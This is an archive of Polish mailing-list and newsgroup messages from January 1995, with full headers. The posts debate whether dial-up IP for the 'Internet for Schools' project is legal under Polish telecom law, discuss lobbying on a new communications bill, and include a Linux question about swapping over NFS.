> "
> Nie wolno natomiast bez specjalnych uprawnien (tzw. operatorskich)
> laczyc sieci. W szczegolnosci ustawa nie pozwala dolaczac do Internetu
> komputera domowego. Tymczasem na swiecie popularny staje sie dostep do
> sieci (tzw. dial-IP) polegajacy na wybraniu numeru uslugodawcy i dalej
> uruchamianiu sieciowych programow na wlasnym pececie. Przy tym sposobie
> pecet uzytkownika na czas trwania polaczenia telefonicznego jest
> pelnoprawnym komputerem Internetu.
> 
> Sztuczne rozroznienie tych dwoch sposobow korzystania z sieci powoduje,
> ze w Polsce o tym, czy polaczenie z Internetem nalezy uznac za legalne,
> decyduja subtelne roznice techniczne pomiedzy uzywanymi programami.
> "
> 
> W moim najglebszym przekonaniu ten akapit zawiera nieprawdziwa
> tresc i nieprawidlowa interpretacje. Moze to spowodowac kolejna
> lawine nieporozumien. Proponuje, aby w kolejnym numerze "KiB" zechcial
> Pan zrewidowac swoje poglady na dial-up IP biorac pod uwage nastepujace
> argumenty:
> 
> - prawda jest, ze nie wolno laczyc sieci bez zezwolenia operatorskiego
> - nieprawda jest, ze ustawa w szczegolnosci nie pozwala dolaczac do
>   Internetu komputera domowego.
>   Prosilbym o wskazanie, gdzie w ustawie (paragraf, punkt) jest to
>   napisane.
> - realizacja dial-up IP polega (w interesujacym nas wariancie
>   uzytkownika indywidualnego) na tym, ze uzytkownik dzwoni do
>   serwera komunikacyjnego uslugodawcy, podaje login i password,
>   poleca przestawic linie w tryb SLIP lub PPP, ponownie podaje
>   login i password zezwalajacy na IP i OTRZYMUJE od serwera adres IP,
>   ktorego wolno mu uzywac (inny adres IP nie bedzie dzialal).
>   Jest to adres IP nalezacy do sieci, ktorej dysponentem jest instytucja,
>   udostepniajaca serwer komunikacyjny. Polaczenie modemowe do pojedynczego
>   komputera nie jest wiec (w swietle ustawy o lacznosci) "budowa
>   i uzywaniem sieci", lecz czasowym rozszerzeniem zasiegu sieci "stalej"
>   na komputer przylaczony za pomoca modemu. Istnieje gwarancja, ze
>   polaczenie takie jest wykorzystywane jedynie w ramach danej instytucji
>   z uwagi na to, ze autentyfikacja polaczenia dokonywana jest przez
>   login/password na serwerze UNIXowym instytucji (TACACS), na ktorym
>   trzeba miec konto, aby w ogole polaczyc sie z siecia instytucji
>   udostepniajacej serwer.
> - mozna rozszerzyc te interpretacje na polaczenie modemowe nie
>   pojedynczego komputera, lecz calej sieci lokalnej. Musi ona
>   miec adresy IP z sieci obslugiwanej przez instytucje. Po podobnej,
>   jak wyzej, autentyfikacji, uruchamiany jest routing jedynie na te
>   adresy IP, ktore naleza do sieci, laczacej sie za pomoca modemu.
>   W ten sposob moznaby podlaczyc do Internetu np. wydzial uczelni,
>   polozony tam, gdzie nie ma szansy na uzyskanie lacza dzierzawionego.
> - kluczem zatem do zagadnienia, co jest siecia, sa dwie powiazane ze soba
>   okolicznosci:
>   1. adresy IP nalezace do tej samej klasy (wszystkie sa w dyspozycji
>      jednej instytucji)
>   2. autentyfikacja polaczen, umozliwiajaca korzystanie z IP jedynie
>      pracownikom danej instytucji
> - w zwiazku z powyzszym, dial-up IP nie moze byc w zaden sposob
>   traktowany jako naruszenie obowiazujacej ustawy o lacznosci. Podobnie,
>   jak polaczenia terminalowe, wykorzystuje on srodki lacznosci
>   (telefonie glosowa) udostepniane przez legalnego operatora (TPSA).
> - naruszeniem ustawy o lacznosci byloby dopiero udostepnianie routingu
>   dla innych klas adresowych. Wtedy instytucja stalaby sie IP providerem
>   i musialaby uzyskac zezwolenie operatorskie.
> 
> Informuje, ze w Uniwersytecie Slaskim uruchomilem pare tygodni temu
> serwer komunikacyjny dzialajacy na opisanych wyzej zasadach, z ktorego
> (i w trybie terminalowym, i w trybie dial-up IP) chetnie korzystaja
> uzytkownicy. Jestem przekonany, ze lansowana przez Pana interpretacja
> jest nieprawidlowa, a kazdy, nawet niezbyt zdolny prawnik, wybronilby
> mnie od ewentualnych zarzutow postawionych na bazie Pana pomyslow.
> Sad natomiast mialby bardzo trudne zadanie uzasadniajac, ze gdy
> bajty sa przesylane kermitem, to jest legalne, a gdy przez TCP/IP, to
> juz zabronione (w swietle, oczywiscie, ustawy o lacznosci).
> 
> Nadto o dial-up IP oparty jest projekt techniczny akcji "Internet
> dla szkol". Mysle, ze nie zalezy Panu na jego storpedowaniu.
> 
> Przesylam pozdrowienia,
> 
> Maciek Uhlig
>  
Maciek Uhlig

----------------------------------------------------------------------
Maciej UHLIG, Computer Center, Silesian University
                          Uniwersytecka 4 St., 40-007 KATOWICE, POLAND
Internet: muhlig@usctoux1.cto.us.edu.pl  Voice: +48 (32) 588211 (1768)
                                         Fax:   +48 (32) 596847 
***** Imagine all the people sharing all the world (John Lennon) *****
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 12 11:26:46 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA06439; Thu, 12 Jan 95 11:24:05 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id LAA20667 for polip@zsku.p.lodz.pl; Thu, 12 Jan 1995 11:18:58 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 12 Jan 1995 10:16:35 GMT
From: ind43@sun1000.ci.pwr.wroc.pl (Marek Michalkiewicz)
Message-Id: <3f2vi3$j2v@sun1000.ci.pwr.wroc.pl>
Organization: Technical Univeristy of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501111358.AA16430@student.uci.agh.edu.pl>
Subject: Re: Swap on Linux (Announce: X PC Server)

Zbigniew Zych (zych@student.uci.agh.edu.pl) wrote:

: Tak sie zastanawiam, w koncu Linux ma 2 mozliwosci swapowania:
:   - swap partition
:   - swap file.

: Czy nie mozna swap file zalozyc na NFSie?

Wlasnie niestety nie - system plikow na ktorym sie to robi musi byc na
urzadzeniu blokowym.  Sprawdzalem to w linux/mm/swap.c i latwo to mozna
sprawdzic montujac cos z localhost z mozliwoscia zapisu i probujac tam
zrobic swapa - nie zadziala.  A szkoda.  Moze bedzie w 1.3.xx?

Pozdrawiam
--
Marek Michalkiewicz
marekm@i17linuxa.ists.pwr.wroc.pl || ind43@ci3ux.ci.pwr.wroc.pl
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 12 14:05:11 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09277; Thu, 12 Jan 95 14:04:07 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA02215 for polip@zsku.p.lodz.pl; Thu, 12 Jan 1995 14:01:43 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 12 Jan 1995 07:55:43 -0500
From: zbig@junior.wariat.org (Zbigniew J. Tyrlik)
Message-Id: <3f38sf$knp@junior.wariat.org>
Organization: Akademia Pana Kleksa, Public Access Uni* Site
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501120843.aa09522@usctoux1.cto.us.edu.pl>
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd)

In <9501120843.aa09522@usctoux1.cto.us.edu.pl> muhlig@usctoux1.cto.us.edu.pl (Maciek Uhlig) writes:

>> Jacek Gajewski:
>> 

>> Przypomne jeszcze raz co zamierzamy robic:
>> - dac uczniom przy pomocy protokolu SLIP (lub PPP) mozliwosc
>>   korzystania z WWW, ftp, irc, Usenetu i e-mailu. Koniec, kropka.
>> - uczniowie NIE MAJA kont na serwerze, lecz tylko skrzynki pocztowe.
>> - telnet jest zablokowany.
>> - szkoly NIE MAJA stalego adresu IP - ma je konkretny serwer komunikacyjny
>>   i kazdy z jego portow.
>> Czyli z dokladnoscia do e-maili ruch jest tylko w jedna strone -
>> uczniowie dostaja do szkoly Internetowe 'okno na swiat'.

Jacku, nie doceniasz mlodziezy.... nawet jezeli dolozysz do tego
filtrowanie pakietow, to nie zablokujesz niczego - w pol godziny
po tym jak pierwszy uczen wskoczy na IRC i sie poskarzy ze
faszystowski dyrektor nie pozwala mu na uzycie telnetu ktos na
Linuxe uruchomi telnetd na innym porcie... I czesc. Nie jest to
prawda ze ruch jest w jedna strone. Nie ludz sie. 

>> 
>> Kazdy, kto przeczytal tekst zezwolenia wie jak wysokie wymagania
>> spelniac musi operator sieci telekomunikacyjnej. M.in. aby prowadzic
>> prawidlowa (w swietle zezwolenia !) dokumentacje nalezy zatrudnic
>> 2-3 osoby obslugi administracyjnej. Zastosowanie jej do naszego
>> przypadku jest praktycznie niemozliwe dla wezlow lokalnych.

Calkowicie sie zgadzam z opinia ze wymaganie zezwolenia jest
_absolutna_ bzdura, produktem umyslow ksztaltowanych poprzez
nadopiekuncze panswto i uwazajacych ze najlepsza recepta na
problem jest przepis. 

Jestem operatorem sieci. Prowadze taki sobie wezelek, z ktorego
korzystaja tysiace ludzi. Czy potrzebowalem jakiegos zezwolenia ? 
Chron Boze.. tutaj rynek decyduje kto daje sobie rade. 

Powtarzm - z mojego doswiadczenia nie widze zadnych powodow dla
takiego licencjonowania. Jedyna korzyscia jest petryfikacja
istniejaych struktor i _utrudnienie_ rozwoju. 

>> Prosba do Marka Cara: Czy moglbys (Ty a moze wrecz Premier?) poprosic
>> Ministerstwo Lacznosci o interpretacje ustawy w naszym przypadku ?

Obawiam sie ze powtarza sie sytuacja ze starego kawalu o
Leninie....

---
Pewnego dnia zniknela mumia Lenina. Po dlugich bezowocnych
poszukiwaniach poporzez wrozke zapytano Dzierzyskiego jak znalezc
Wolodie.  Feliks nakazal sprawdzic awaryjna skrytke
korespondencyjna.... Byla tam kartka: 

	Feliks !  Co oni narobili.. jaki burdel.. 
	Adresy te same, nazwiska te same, kontakty te same - 
	zaczynamy od poczatku... 

----

Moje wspolczucie. 

_zjt
-- 
Zbigniew J. Tyrlik  DoD# 0759  FJ1200 `89-Silver...  zbig@wariat.org
APK on the move    	   New Phone - 216-241-7541 active Jan 09.95
Feeds, shell, FTP, telnet, SL/IP,PPP     Uniboard distribution point 
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 12 14:46:49 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA10446; Thu, 12 Jan 95 14:44:02 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA02973 for polip@zsku.p.lodz.pl; Thu, 12 Jan 1995 14:31:37 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 12 Jan 1995 13:27:06 GMT
From: lis@asic.ict.pwr.wroc.pl (Jarek Lis)
Message-Id: <3f3ana$l8@sun1000.ci.pwr.wroc.pl>
Organization: Technical Univeristy of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501120843.aa09522@usctoux1.cto.us.edu.pl>
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd)

Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote:
: Przesylam mail Jacka Gajewskiego zamieszczony na liscie "Internet dla szkol", 
: a dotyczacy dial-up IP, podstawowej metody technicznej wykorzystywanej
: w programie IdS. Problem nie dotyczy tylko IdS. Jest zywotny dla nas
: wszystkich. Wysylajcie swoje opinie na ten temat, gdzie tylko mozecie.
: Zrobmy cos wreszcie razem, aby wyzwolic sie spod kaganca starej ustawy
: o lacznosci, interpretowanej w wygodny dla siebie sposob przez NASK
: i Ministerstwo Lacznosci.

Sugeruje nie obrazac NASK bez potrzeby. Bo jezeli ruch ma byc internetowy,
to kiedys do NASK'owych sieci musi trafic. Chyba ze ktos wystawi satelite
i dogada sie z jakims IP'providerem za granica.

Jarek.
From muhlig@usctoux1.cto.us.edu.pl Thu Jan 12 15:56:50 1995
Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA11983; Thu, 12 Jan 95 15:52:41 +0100
Return-Path: <muhlig@usctoux1.cto.us.edu.pl>
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd)
To: polip@zsku.p.lodz.pl
Date: Thu, 12 Jan 1995 15:56:14 -0100 (MET)
From: Maciek Uhlig <muhlig@usctoux1.cto.us.edu.pl>
In-Reply-To: <3f3ana$l8@sun1000.ci.pwr.wroc.pl> from "Jarek Lis" at Jan 12, 95 02:53:26 pm
X-Mailer: ELM [version 2.4 PL23~]
Content-Type: text
Content-Length: 1019      
Message-Id:  <9501121556.aa28781@usctoux1.cto.us.edu.pl>

Jarek Lis wrote:
> 
> Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote:

> : Zrobmy cos wreszcie razem, aby wyzwolic sie spod kaganca starej ustawy
> : o lacznosci, interpretowanej w wygodny dla siebie sposob przez NASK
> : i Ministerstwo Lacznosci.
> 
> Sugeruje nie obrazac NASK bez potrzeby. Bo jezeli ruch ma byc internetowy,
> to kiedys do NASK'owych sieci musi trafic. Chyba ze ktos wystawi satelite
> i dogada sie z jakims IP'providerem za granica.

Nikogo nie obrazam. W szczegolnosci NASK. Zelezy mi tylko, aby ten
internetowy ruch byl jak najwiekszy, a nie tlumiony przepisami starych
ustaw.

Maciek Uhlig

----------------------------------------------------------------------
Maciej UHLIG, Computer Center, Silesian University
                          Uniwersytecka 4 St., 40-007 KATOWICE, POLAND
Internet: muhlig@usctoux1.cto.us.edu.pl  Voice: +48 (32) 588211 (1768)
                                         Fax:   +48 (32) 596847 
***** Imagine all the people sharing all the world (John Lennon) *****
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 12 16:26:50 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12985; Thu, 12 Jan 95 16:24:01 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA05081 for polip@zsku.p.lodz.pl; Thu, 12 Jan 1995 16:17:29 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 12 Jan 1995 15:02:00 GMT
From: rzm@dain.erlm.siemens.de (Rafal Maszkowski)
Message-Id: <3f3g98$8g2@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501120835.aa09235@usctoux1.cto.us.edu.pl>
Subject: Re: Ustawa o lacznosci (nowa) Bylo Re: Siec Optimusa?

Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote:
> lbs@phys.ufl.edu wrote:
> > Maciek Uhlig pisal nam, ze przygotowywana jest nowa
> > ustawa komunikacyjna. Co o niej wiedza uzytkownicy
> > Internetu w Polsce? Kto ich reprezentuje w przesluchaniach
> > komisji sejmowych? 
> Projekt ustawy trafil niedawno z rzadu do Sejmu. Jest nie do wyciagniecia
> zarowno z Min. Lacznosci, jak i z Sejmu. Trzeba poczekac na pierwsze
> czytanie w Sejmie. Wtedy Sejm zapewne przekaze go do komisji sejmowej
> w celu dalszych prac. Wtedy trzeba zdobyc projekt i - jesli nie
> przyniesie satysfakcjonujacych rozwiazan w dziedzinie sieci - wywrzec
> presje na lokalnych poslow, argumentujac nasze stanowisko i cele.

Czy bedziesz probowal? Moze wywrzyj nacisk zeby ktos odtajnil projekt...

R.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From GMIELCAR@sweet.iie.wsi.zgora.pl Thu Jan 12 16:26:52 1995
Received: from vigo.iie.wsi.zgora.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12973; Thu, 12 Jan 95 16:22:26 +0100
Return-Path: <GMIELCAR@sweet.iie.wsi.zgora.pl>
Received: from sweet1.iie.wsi.zgora.pl by vigo.iie.wsi.zgora.pl (AIX 3.2/UCB 5.64/4.03)
          id AA27885; Thu, 12 Jan 1995 15:36:38 +0100
Received: from SWEET/SpoolDir by sweet.iie.wsi.zgora.pl (Mercury 1.20);
    12 Jan 95 15:36:36 +0100
Received: from SpoolDir by SWEET (Mercury 1.20); 12 Jan 95 15:36:08 +0100
From: "Grzegorz Mielcarek" <GMIELCAR@sweet.iie.wsi.zgora.pl>
Organization:  Instytut Informatyki i Elektroniki
To: polip@zsku.p.lodz.pl
Date:          Thu, 12 Jan 1995 15:36:07 GMT+01
Subject:       Re: Siec Optimusa?
X-Confirm-Reading-To: "Grzegorz Mielcarek" <GMIELCAR@sweet.iie.wsi.zgora.pl>
X-Pmrqc:       1
Priority: normal
X-Mailer: Pegasus Mail v3.22
Message-Id: <4D07922D3C@sweet.iie.wsi.zgora.pl>

> Date sent:      Wed, 11 Jan 95 16:20:24 +0100
> Send reply to:  polip@zsku.p.lodz.pl
> From:           Jerzy Pastusiak <pastupam@uoo.univ.szczecin.pl>
> To:             polip@vigo.iie.wsi.zgora.pl
> Subject:        Re: Siec Optimusa?

> > 
> > A co do Optimusa, to mam wrazenie, ze firma ma za malo pieniedzy na
> > inwestycje telekomunikacyjne. W tym kraju chyba nikt nie ma odpowiednich
> > pieniedzy.
> > 
> > Jarek.
> > 
> Na swiecie duz'a, konkurecje dla telekomunikacji stanowi energetyka.
> Podwieszaja swiatlowody pod liniami wysokiego napiecia i w swiat.
> Chyba i nas to czeka. Pozdrawiam, J.P.
> 
A czy ktos wie, ktoredy zostaly pociagniete swiatlowody wraz liniami 
wysokiego napiecia. Byloby ciekawe to wiedziec.

-Grzesiek


----------------------------------------------------------------------------
Grzegorz Mielcarek                   |  gmielcar@sweet.iie.wsi.zgora.pl
Wyzsza Szkola Inzynierska            |  g.mielcarek@wsi.zgora.pl
Instytut Informatyki i Elektroniki   |  
ul. Podgorna 50                      |  tel: 068/254611, 254831 w. 231
65-265 Zielona Gora                  |  fax: 068/253944  
---------------------------------------------------------------------------
          "If you wanna be so sexy, you must drink a lot of Pepsi"
---------------------------------------------------------------------------- 

From muhlig@usctoux1.cto.us.edu.pl Thu Jan 12 16:41:50 1995
Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA13850; Thu, 12 Jan 95 16:38:55 +0100
Return-Path: <muhlig@usctoux1.cto.us.edu.pl>
Subject: Re: Ustawa o lacznosci (nowa) Bylo Re: Siec Optimusa?
To: polip@zsku.p.lodz.pl
Date: Thu, 12 Jan 1995 16:42:31 -0100 (MET)
From: Maciek Uhlig <muhlig@usctoux1.cto.us.edu.pl>
In-Reply-To: <3f3g98$8g2@Waldemar.mat.uni.torun.pl> from "Rafal Maszkowski" at Jan 12, 95 04:32:41 pm
X-Mailer: ELM [version 2.4 PL23~]
Content-Type: text
Content-Length: 848       
Message-Id:  <9501121642.ab00841@usctoux1.cto.us.edu.pl>

Rafal Maszkowski wrote:
> > w celu dalszych prac. Wtedy trzeba zdobyc projekt i - jesli nie
> > przyniesie satysfakcjonujacych rozwiazan w dziedzinie sieci - wywrzec
> > presje na lokalnych poslow, argumentujac nasze stanowisko i cele.
> 
> Czy bedziesz probowal? Moze wywrzyj nacisk zeby ktos odtajnil projekt...

A bede, bede... Juz nawet zdobylem namiary na poslow zasiadajacych
w sejmowej komisji lacznosci z okolic Katowic :-).

Maciek Uhlig

----------------------------------------------------------------------
Maciej UHLIG, Computer Center, Silesian University
                          Uniwersytecka 4 St., 40-007 KATOWICE, POLAND
Internet: muhlig@usctoux1.cto.us.edu.pl  Voice: +48 (32) 588211 (1768)
                                         Fax:   +48 (32) 596847 
***** Imagine all the people sharing all the world (John Lennon) *****
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 12 16:46:50 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA14178; Thu, 12 Jan 95 16:44:01 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA05244 for polip@zsku.p.lodz.pl; Thu, 12 Jan 1995 16:31:04 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 12 Jan 1995 15:15:18 GMT
From: rzm@dain.erlm.siemens.de (Rafal Maszkowski)
Message-Id: <3f3h26$8g2@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501120843.aa09522@usctoux1.cto.us.edu.pl>, <3f3ana$l8@sun1000.ci.pwr.wroc.pl>
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd)

Jarek Lis (lis@asic.ict.pwr.wroc.pl) wrote:
> Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote:
> : Przesylam mail Jacka Gajewskiego zamieszczony na liscie "Internet dla szkol", 
> : a dotyczacy dial-up IP, podstawowej metody technicznej wykorzystywanej
> : w programie IdS. Problem nie dotyczy tylko IdS. Jest zywotny dla nas
> : wszystkich. Wysylajcie swoje opinie na ten temat, gdzie tylko mozecie.
> : Zrobmy cos wreszcie razem, aby wyzwolic sie spod kaganca starej ustawy
> : o lacznosci, interpretowanej w wygodny dla siebie sposob przez NASK
> : i Ministerstwo Lacznosci.

> Sugeruje nie obrazac NASK bez potrzeby. Bo jezeli ruch ma byc internetowy,
> to kiedys do NASK'owych sieci musi trafic. Chyba ze ktos wystawi satelite
> i dogada sie z jakims IP'providerem za granica.

Nikt jeszcze (dzisiaj) nie obrazal NASKu. Maciej tylko slusznie zwrocil
uwage, na to ze restrykcyjne ustawodawstwo (czy pamietacie jak trzeba
bylo miec zezwolenie na odbiornik TV satelitarnej, a za uzywanie
modemu nalezalo placic jakies koszmarne pieniadze?) dziala na korzysc
tych, ktorzy maja juz zezwolenia. Podlaczanie sieci lokalnych to znacznie
lepszy interes niz sprzedawanie kont.

R.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 13 10:27:44 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA04441; Fri, 13 Jan 95 10:23:51 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id KAA12094 for polip@zsku.p.lodz.pl; Fri, 13 Jan 1995 10:21:10 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 13 Jan 1995 09:07:02 GMT
From: ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE (piotr pogorzelski)
Message-Id: <3f5frm$dil@galaxy.uci.agh.edu.pl>
Organization: Instytut Podstawowych Problemow Techiniki Warszawa
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501121556.aa28781@usctoux1.cto.us.edu.pl>
Reply-To: ppogorze@ippt.gov.pl
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd)

Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote:
: Jarek Lis wrote:
: > 
: > Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote:

: > : Zrobmy cos wreszcie razem, aby wyzwolic sie spod kaganca starej ustawy
: > : o lacznosci, interpretowanej w wygodny dla siebie sposob przez NASK
: > : i Ministerstwo Lacznosci.
: > 
: > Sugeruje nie obrazac NASK bez potrzeby. Bo jezeli ruch ma byc internetowy,
: > to kiedys do NASK'owych sieci musi trafic. Chyba ze ktos wystawi satelite
: > i dogada sie z jakims IP'providerem za granica.

: Nikogo nie obrazam. W szczegolnosci NASK. Zelezy mi tylko, aby ten
: internetowy ruch byl jak najwiekszy, a nie tlumiony przepisami starych
: ustaw.

: Maciek Uhlig

Co wiecej Nask to tylko uslugodawca, place i wymagam. 
I odmowic uslugi bez powodu tez chyba nie moze, (jak i podlaczenia do
sieci innego operatora).

	piotr pogorzelski

From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 13 10:47:45 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA05225; Fri, 13 Jan 95 10:43:45 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id KAA12246 for polip@zsku.p.lodz.pl; Fri, 13 Jan 1995 10:27:30 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 13 Jan 1995 09:11:15 GMT
From: ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE (piotr pogorzelski)
Message-Id: <3f5g3j$dil@galaxy.uci.agh.edu.pl>
Organization: Instytut Podstawowych Problemow Techiniki Warszawa
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501111358.AA16430@student.uci.agh.edu.pl>, <3f2vi3$j2v@sun1000.ci.pwr.wroc.pl>
Reply-To: ppogorze@ippt.gov.pl
Subject: Re: Swap on Linux (Announce: X PC Server)

Czy moglby mi ktos powiedziec jaka jest predkosc transmisji
plikow przy uzyciu NFS'a. Np Linux-Linux, albo Linux-sun
Ale nie teoria tylko konkretne
pomiary.
dzieki

piotr pogorzelski
From GOZDZ@kchk.ch.pwr.wroc.pl Fri Jan 13 12:50:11 1995
Received: from sun1000.ci.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA07680; Fri, 13 Jan 95 12:49:43 +0100
Return-Path: <GOZDZ@kchk.ch.pwr.wroc.pl>
Received: from kchk.ch.pwr.wroc.pl (kchk2.ch.pwr.wroc.pl [156.17.2.125]) by sun1000.ci.pwr.wroc.pl (8.6.9/8.6.9) with ESMTP id MAA23980 for <polip@zsku.p.lodz.pl>; Fri, 13 Jan 1995 12:52:13 +0100
Received: from KCHK_1/MAILQUEUE by kchk.ch.pwr.wroc.pl (Mercury 1.20);
    13 Jan 95 12:51:20 GMT+1
Received: from MAILQUEUE by KCHK_1 (Mercury 1.20); 13 Jan 95 12:51:10 GMT+1
From: "Krzysztof Gozdz" <GOZDZ@kchk.ch.pwr.wroc.pl>
Organization:  Inst. of Phys. and Theor. Chem. TUW
To: polip@zsku.p.lodz.pl
Date:          Fri, 13 Jan 1995 12:51:07 MET1MDT
Subject:       PolIP a Linux (Announce: X PC Server)
Reply-To: Krzysztof Gozdz <gozdz@kchk.ch.pwr.wroc.pl>
Priority: normal
X-Mailer:     Pegasus Mail v3.1 (R1)
Message-Id: <20FD0E15908@kchk.ch.pwr.wroc.pl>

Linux'owcy-

Ja takze naleze do grona goracych zwolennikow Linux'a i ciesze sie,
ze wszedzie sie o nim mowi. :-)  Proponuje jednak przeniesc nasza
dyskusje na temat wykorzystania PeCeta pracujacego pod Linux'em
jako XTerminal'a na lamy grupy news'owej pl.comp.sys.pc-unix.

Zwolnilibysmy miejsce na liscie poswieconej polskiemu Internet'owi,
i troche rozruszali dyskusje w grupie na temat - badz co badz
- m. in. Linux'a, tym bardziej ze, jak to zauwazyl Marek Michalkiewicz,
nie ma tam duzego ruchu. :-(  Ewentualnie mozna by potem poslac
na Polipa koncowe wnioski.  Co Wy na to?

3majcie sie!

-Kszychu

   ///\     Name: Krzysztof Gozdz "Kszychu"
   C ..    Study: Poland   Wroclaw   Technical University
     _\           Institute of Control and Systems Engineering
   \ \    E-mail: gozdz@kchk.ch.pwr.wroc.pl
             WWW: http://www.ists.pwr.wroc.pl/~kszychu
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 13 14:27:46 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09596; Fri, 13 Jan 95 14:23:45 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA17785 for polip@zsku.p.lodz.pl; Fri, 13 Jan 1995 14:21:31 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 13 Jan 1995 12:39:30 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3f5sa2$pqh@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501120835.aa09235@usctoux1.cto.us.edu.pl>
Subject: Re: Ustawa o lacznosci (nowa) Bylo Re: Siec Optimusa?

Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote:

: Projekt ustawy trafil niedawno z rzadu do Sejmu. Jest nie do wyciagniecia
: zarowno z Min. Lacznosci, jak i z Sejmu. Trzeba poczekac na pierwsze
